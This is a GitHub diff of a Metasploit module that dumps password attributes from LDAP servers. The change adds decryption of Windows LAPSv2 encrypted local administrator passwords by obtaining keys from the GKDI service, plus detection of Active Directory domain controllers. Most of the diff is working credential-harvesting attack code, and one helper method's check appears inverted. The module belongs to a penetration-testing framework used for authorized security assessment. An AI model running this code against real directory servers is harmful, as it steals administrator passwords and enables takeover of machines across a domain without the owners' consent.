3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
+ require 'rasn1'
7
+
6
8
class MetasploitModule < Msf ::Auxiliary
7
9
8
10
include Msf ::Auxiliary ::Scanner
9
11
include Msf ::Auxiliary ::Report
12
+ include Msf ::Exploit ::Remote ::MsGkdi
10
13
include Msf ::Exploit ::Remote ::LDAP
11
14
include Msf ::OptionalSession ::LDAP
12
15
13
16
include Msf ::Exploit ::Deprecated
14
17
moved_from 'auxiliary/gather/ldap_hashdump'
15
18
16
- PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
19
+ LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800' . freeze
20
+ PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
17
21
18
22
def initialize ( info = { } )
19
23
super (
@@ -29,18 +33,17 @@ def initialize(info = {})
29
33
] ,
30
34
'References' => [
31
35
[ 'CVE' , '2020-3952' ] ,
32
- [ 'URL' , 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html' ]
36
+ [ 'URL' , 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html' ] ,
37
+ [ 'URL' , 'https://blog.xpnsec.com/lapsv2-internals/' ] ,
38
+ [ 'URL' , 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py' ]
33
39
] ,
34
40
'DisclosureDate' => '2020-07-23' ,
35
41
'License' => MSF_LICENSE ,
36
- 'Actions' => [
37
- [ 'Dump' , { 'Description' => 'Dump all LDAP data' } ]
38
- ] ,
39
- 'DefaultAction' => 'Dump' ,
40
42
'Notes' => {
41
43
'Stability' => [ CRASH_SAFE ] ,
42
44
'SideEffects' => [ IOC_IN_LOGS ] ,
43
- 'Reliability' => [ ]
45
+ 'Reliability' => [ ] ,
46
+ 'AKA' => [ 'GetLAPSPassword' ]
44
47
}
45
48
)
46
49
)
@@ -58,10 +61,71 @@ def initialize(info = {})
58
61
] )
59
62
end
60
63
64
+ def session?
65
+ defined? ( :session ) && session
66
+ end
67
+
61
68
def print_prefix
69
+ return "#{ Rex ::Socket . to_authority ( session . client . host , session . client . port ) } - " if session?
70
+
62
71
"#{ peer . ljust ( 21 ) } - "
63
72
end
64
73
74
+ def get_ad_ds_domain_info ( ldap )
75
+ vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
76
+
77
+ root_dse = ldap . search (
78
+ ignore_server_caps : true ,
79
+ base : '' ,
80
+ scope : Net ::LDAP ::SearchScope_BaseObject ,
81
+ attributes : %i[ configurationNamingContext supportedCapabilities supportedExtension ]
82
+ ) &.first
83
+
84
+ unless root_dse [ :supportedcapabilities ] . map ( &:to_s ) . include? ( LDAP_CAP_ACTIVE_DIRECTORY_OID )
85
+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
86
+ return nil
87
+ end
88
+
89
+ unless root_dse [ :supportedextension ] . include? ( Net ::LDAP ::WhoamiOid )
90
+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
91
+ return nil
92
+ end
93
+
94
+ print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
95
+
96
+ unless ldap . search ( base : '' , filter : '(objectClass=domain)' ) . nil?
97
+ # this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
98
+ # means we'll be getting information from more than one domain which breaks some core assumptions
99
+ # see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
100
+ fail_with ( Msf ::Module ::Failure ::NoTarget , 'The target LDAP server is a Global Catalog.' )
101
+ end
102
+
103
+ # our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
104
+
105
+ target_domains = ldap . search (
106
+ base : root_dse [ :configurationnamingcontext ] . first . to_s ,
107
+ filter : "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ ldap . base_dn } ))"
108
+ )
109
+ unless target_domains . present?
110
+ fail_with ( Msf ::Module ::Failure ::NotFound , 'The target LDAP server did not return its NETBIOS domain name.' )
111
+ end
112
+
113
+ unless target_domains . length == 1
114
+ fail_with ( Msf ::Module ::Failure ::NotFound , "The target LDAP server returned #{ target_domains . length } NETBIOS domain names." )
115
+ end
116
+
117
+ target_domain = target_domains . first
118
+
119
+ {
120
+ netbios_name : target_domain [ :netbiosname ] . first . to_s ,
121
+ dns_name : target_domain [ :dnsroot ] . first . to_s
122
+ }
123
+ end
124
+
125
+ def ad_domain?
126
+ @ad_ds_domain_info . nil?
127
+ end
128
+
65
129
# PoC using ldapsearch(1):
66
130
#
67
131
# Retrieve root DSE with base DN:
@@ -89,6 +153,8 @@ def run_host(_ip)
89
153
vprint_status ( "Using the '#{ datastore [ 'USER_ATTR' ] } ' attribute as the username" )
90
154
end
91
155
156
+ @ad_ds_domain_info = get_ad_ds_domain_info ( ldap )
157
+
92
158
print_status ( "Searching base DN: #{ base_dn } " )
93
159
entries_returned += ldap_search ( ldap , base_dn , base : base_dn )
94
160
end
@@ -106,10 +172,12 @@ def run_host(_ip)
106
172
def ldap_search ( ldap , base_dn , args )
107
173
entries_returned = 0
108
174
creds_found = 0
175
+ # TODO: use a filter when we're targeting AD DS
109
176
def_args = {
110
- base : '' ,
111
177
return_result : false ,
112
- attributes : %w[ * + - ]
178
+ scope : Net ::LDAP ::SearchScope_WholeSubtree ,
179
+ # build a filter that searches for any object that contains at least one of the attributes we're interested in
180
+ filter : "(|#{ password_attributes . map { "(#{ _1 } =*)" } . join } )"
113
181
}
114
182
115
183
begin
@@ -233,6 +301,12 @@ def process_hash(entry, attr)
233
301
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234
302
# In the meantime, dump the base64 encoded value.
235
303
private_data = Base64 . strict_encode64 ( private_data )
304
+ when 'mslaps-encryptedpassword'
305
+ lapsv2 = process_result_lapsv2_encrypted ( entry )
306
+ next if lapsv2 . nil?
307
+
308
+ username = lapsv2 [ 'n' ]
309
+ private_data = lapsv2 [ 'p' ]
236
310
when 'userpkcs12'
237
311
# if we get non printable chars, encode into base64
238
312
if ( private_data =~ /[^[:print:]]/ ) . nil?
@@ -271,7 +345,7 @@ def process_hash(entry, attr)
271
345
# highlight unresolved hashes
272
346
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273
347
274
- print_good ( "Credentials (#{ jtr_format || 'password' } ) found in #{ attr } : #{ username } :#{ private_data } " )
348
+ print_good ( "Credentials (#{ jtr_format . blank? ? 'password' : jtr_format } ) found in #{ attr } : #{ username } :#{ private_data } " )
275
349
276
350
report_creds ( username , private_data , jtr_format )
277
351
creds_found += 1
@@ -300,7 +374,109 @@ def report_creds(username, private_data, jtr_format)
300
374
username : username
301
375
} . merge ( service_data )
302
376
377
+ if @ad_ds_domain_info
378
+ credential_data [ :realm_key ] = Metasploit ::Model ::Realm ::Key ::ACTIVE_DIRECTORY_DOMAIN
379
+ credential_data [ :realm_value ] = @ad_ds_domain_info [ :dns_name ]
380
+ end
381
+
303
382
cl = create_credential_and_login ( credential_data )
304
383
cl . respond_to? ( :core_id ) ? cl . core_id : nil
305
384
end
385
+
386
+ def process_result_lapsv2_encrypted ( result )
387
+ if session?
388
+ print_warning ( 'Can not obtain LAPSv2 decryption keys when running with an existing session.' )
389
+ return
390
+ end
391
+
392
+ encrypted_block = result [ 'msLAPS-EncryptedPassword' ] . first
393
+
394
+ encrypted_blob = LAPSv2EncryptedPasswordBlob . read ( encrypted_block )
395
+ content_info = Rex ::Proto ::CryptoAsn1 ::Cms ::ContentInfo . parse ( encrypted_blob . buffer . pack ( 'C*' ) )
396
+ encrypted_data = encrypted_blob . buffer [ content_info . to_der . bytesize ...] . pack ( 'C*' )
397
+ enveloped_data = content_info . enveloped_data
398
+ recipient_info = enveloped_data [ :recipient_infos ] [ 0 ]
399
+ kek_identifier = recipient_info [ :kekri ] [ :kekid ]
400
+
401
+ key_identifier = kek_identifier [ :key_identifier ]
402
+ key_identifier = GkdiGroupKeyIdentifier . read ( key_identifier . value )
403
+
404
+ other_key_attribute = kek_identifier [ :other ]
405
+ unless other_key_attribute [ :key_attr_id ] . value == '1.3.6.1.4.1.311.74.1'
406
+ vprint_error ( 'msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.' )
407
+ return
408
+ end
409
+
410
+ ms_key_attribute = MicrosoftKeyAttribute . parse ( other_key_attribute [ :key_attr ] . value )
411
+ kv_pairs = ms_key_attribute [ :content ] [ :content ] [ :content ] [ :kv_pairs ]
412
+ sid = kv_pairs . value . find { |kv_pair | kv_pair [ :name ] . value == 'SID' } [ :value ] &.value
413
+
414
+ sd = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . from_sddl_text (
415
+ "O:SYG:SYD:(A;;CCDC;;;#{ sid } )(A;;DC;;;WD)" ,
416
+ domain_sid : sid . rpartition ( '-' ) . first
417
+ )
418
+
419
+ if @gkdi_client . nil?
420
+ @gkdi_client = connect_gkdi ( username : datastore [ 'LDAPUsername' ] , password : datastore [ 'LDAPPassword' ] )
421
+ end
422
+
423
+ begin
424
+ kek = gkdi_get_kek (
425
+ client : @gkdi_client ,
426
+ security_descriptor : sd ,
427
+ key_identifier : key_identifier
428
+ )
429
+ rescue StandardError => e
430
+ elog ( 'Failed to obtain the KEK from GKDI' , error : e )
431
+ print_error ( "Failed to obtain the KEK from GKDI: #{ e . class } - #{ e } " )
432
+ return nil
433
+ end
434
+
435
+ algorithm_identifier = content_info . enveloped_data [ :encrypted_content_info ] [ :content_encryption_algorithm ]
436
+ # TODO: validate that AES-GCM is in use
437
+ iv = algorithm_identifier . gcm_parameters [ :aes_nonce ] . value
438
+ encrypted_key = recipient_info [ :kekri ] [ :encrypted_key ] . value
439
+
440
+ key = Rex ::Crypto ::KeyWrap ::NIST_SP_800_38f . aes_unwrap ( kek , encrypted_key )
441
+
442
+ cipher = OpenSSL ::Cipher ::AES . new ( key . length * 8 , :GCM )
443
+ cipher . decrypt
444
+ cipher . key = key
445
+ cipher . iv_len = iv . length
446
+ cipher . iv = iv
447
+ cipher . auth_tag = encrypted_data [ -16 ...]
448
+ plaintext = cipher . update ( encrypted_data [ ...-16 ] ) + cipher . final
449
+ JSON . parse ( RubySMB ::Field ::Stringz16 . read ( plaintext ) . value )
450
+ end
451
+
452
+ # https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
453
+ # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
454
+ class LAPSv2EncryptedPasswordBlob < BinData ::Record
455
+ endian :little
456
+
457
+ file_time :timestamp
458
+ uint32 :buffer_size
459
+ uint32 :flags
460
+ uint8_array :buffer , initial_length : :buffer_size
461
+ end
462
+
463
+ class MicrosoftKeyAttribute < RASN1 ::Model
464
+ class Sequence < RASN1 ::Model
465
+ class KVPairs < RASN1 ::Model
466
+ sequence :content , content : [
467
+ utf8_string ( :name ) ,
468
+ utf8_string ( :value )
469
+ ]
470
+ end
471
+
472
+ sequence :content , constructed : true , content : [
473
+ sequence_of ( :kv_pairs , KVPairs )
474
+ ]
475
+ end
476
+
477
+ sequence :content , content : [
478
+ objectid ( :key_attr_id ) ,
479
+ model ( :key_attr , Sequence )
480
+ ]
481
+ end
306
482
end
0 commit comments